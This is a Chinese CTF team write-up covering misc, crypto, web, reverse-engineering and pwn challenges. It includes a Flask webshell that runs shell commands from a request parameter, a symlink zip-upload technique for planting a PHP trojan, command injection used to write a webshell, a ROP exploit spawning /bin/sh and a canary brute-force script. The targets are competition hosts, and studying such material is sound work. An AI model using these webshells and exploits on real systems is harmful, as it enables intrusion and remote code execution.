一、战队信息
战队名称: 508
战队排名: 175
二、解题情况
三、解题过程
MISC
被加密的生产流量
点击一段TCP流量右键追踪TCP流
发现一些字符,猜测是base32,解密后得到flag
flag{c1f_fi1g_1000}
pyshell
nc连上靶机后,FUZZ一波发现一次最多只能用7个字符,并且不可以使用=
号,不过我们可以利用_
的特性进行字符串拼接得到:
open("/flag").read()
然后eval
执行命令得到flag。由于只能用七个字符,需要分段输入:
'open('
_+'"/f'
_+'lag'
_+'").'
_+'rea'
_+'d()'
eval(_)
得到flag
flag{dc1b706a-eec2-40bc-ae16-a14dc56f43e1}
签到卡
关注一下公众号
提示print(open('/etc/passwd').read())
直接读/flag
print(open('/flag').read())
Crypto
基于国密SM2算法的密钥密文分发
按照题目文档所给内容,按步骤执行下列命令:
curl -d "name=&school=&phone=" http://192.168.
31.153:3000/api/login
curl -d "id=&publicKey=" http://192.168.
31.153:3000/api/allkey
curl -d "id=" http://192.168.
31.153:3000/api/quantum
获得id,找一个网站生成一个SM2的publickey和privatekey,再执行下一个命令:
获得公钥B_Public_Key明文、私钥B_Private_Key密文、随机数C密文,用SM2算法解出随机数C
用SM4-ECB解密B_Private_Key密文:
用SM2解密密钥D获得明文后进行验证,成功后访问/api/search
获得flag:
Sign_in_passwd
附件内容
j2rXjx8yjd=YRZWyTIuwRdbyQdbqR3R9iZmsScutj2iqj3/tidj1jd=D
GHI3KLMNJOPQRSTUb%3DcdefghijklmnopWXYZ%2F12%2B406789VaqrstuvwxyzABCDEF5
自定义base
下面一串字符是字母表,urldecode一下
GHI3KLMNJOPQRSTUb=cdefghijklmnopWXYZ/12+406789VaqrstuvwxyzABCDEF5
WEB
go_session
拿到源码后,本地启动一个go服务,修改源码生成admin的cookie:
func Index(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] == nil {
session.Values["name"] = "admin"
err = session.Save(c.Request, c.Writer)
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
}
c.String(200, "Hello, guest")
}
将生成的cookie放到靶机上访问进行模板注入
利用context中的方法进行文件上传保存到远程,由于靶机存在debug的flask服务,从flask服务的报错中可以发现其文件为sever.py
,因此尝试覆盖掉sever.py
写入webshell
from flask import Flask, request
import os
app = Flask(__name__)
@app.route("/", methods=["GET"])
def root():
s=os.popen(request.args["s"]).read()
return s
app.run("0.0.0.0", debug=True)
用postman进行模板注入同时上传文件
可以发现保存成功,访问flask服务进行任意代码执行
unzip
在vps上进入/tmp
目录后,建立一个软链接
ln -s /var/www/html
进入html目录后,新建一个文件1.php
写入一句话木马:
将软链接压缩成html.zip,将html目录压缩成shell.zip:
zip --symlink html.zip ./html
zip shell.zip ./html/1.php
依次上传html.zip和shell.zip后,访问1.php进行getshell
dumpit
构造报错获得当前目录
通过测试发现db处可以进行命令注入,尝试进行文件写入,发现可以利用错误输出重定向对报错进行写出到文件,经过本地测试发现数据库名会完整的出现在报错中。因此构造数据库名为恶意代码尝试写入webshell:
访问err.php,在phpinfo()中找到flag
RE
babyRE
题目附件给了一个xml文件,通过观察xml头发现一个网站https://snap.berkeley.edu ,在该网站上导入xml文件后观察关键代码:
发现secret的生成方式为flag的每一位异或flag前一位,点击secret获得secret的列表
根据上述逻辑逆向构造python脚本异或获得答案
prime=[102,10,13,6,28,74,3,1,3,7,85,0,4,75,20,92,92,8,28,25,81,83,7,28,76,88,9,0,29,73,0,86,4,87,87,82,84,85,4,85,87,30]
flag='f'
for i in range(1,len(prime)):
flag += chr(prime[i]^ord(flag[i-1]))
print(flag)
flag{12307bbf-9e91-4e61-a900-dd26a6d0ea4c}
pwn
烧烤摊儿
输入-10000进入vip函数使own=1,进入gaiming栈溢出获取权限
from pwn import *
from LibcSearcher import *
p=remote("47.94.206.10",42598)
p.sendlineafter('>','1')
p.sendline('1')
p.sendline('-1000000')
p.sendlineafter('>','4')
p.sendlineafter('>','5')
sys=0x4230a6
data=0x4e60f0
rax=0x458827
rdi=0x40264f
rsi=0x40264d
rdx=0x4a404b
payload='/bin/sh\x00'+'a'*0x20
payload+=p64(rdi)
payload+=p64(data)
payload+=p64(rsi)+p64(0)+p64(0)
payload+=p64(rdx)+p64(0)+p64(0)
payload+=p64(rax)+p64(59)+p64(sys)
p.sendline(payload)
p.interactive()
funcanary
爆破canary+跳转后门函数+爆破1位pie
from pwn import *
#p = process("./funcanary")
p=remote("123.56.135.185", 37438)
context.log_level = "debug"
canary = "\x00"
count = 0;
while(1):
for i in range(256):
p.recvline()
log.info("num: " + hex(count) + " byte: " + hex(i))
p.send('a'*0x68 + canary + chr(i))
a=p.recvline()
if "fun" in a:
count += 1
canary += chr(i)
break
if count == 7:
break
for i in range(16):
payload = "a"*0x68 + canary + p64(0)+p8(0x31) + p8((i*0x10) + 2)
log.info(hex((i*0x10) + 2))
p.send(payload)
a = p.recvuntil("welcome\n")
if "flag" in a:
pause()
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至1004454362@qq.com